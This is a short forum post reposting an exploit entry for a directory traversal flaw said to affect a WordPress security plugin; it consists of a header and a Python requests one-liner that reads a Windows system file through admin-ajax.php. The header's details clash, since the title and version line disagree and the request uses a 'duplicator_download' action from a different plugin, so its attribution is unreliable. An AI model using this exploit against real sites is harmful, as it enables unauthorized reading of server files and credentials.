WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 Directory Traversal

#335
Topic created · 1 Posts · 0 Views
  • # Exploit Title: WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal
    # Date: 05.07.2021
    # Exploit Author: TheSmuggler
    # Vendor Homepage: https://gotmls.net/
    # Software Link: https://gotmls.net/downloads/
    # Version: <= 4.20.72
    # Tested on: Windows
    
    import requests
    
    print(requests.get("http://127.0.0.1/wp-admin/admin-ajax.php?action=duplicator\_download&file=..\..\..\..\..\..\..\..\..\Windows\win.ini", headers={"User-Agent":"Chrome"}).text)
    
Log in to reply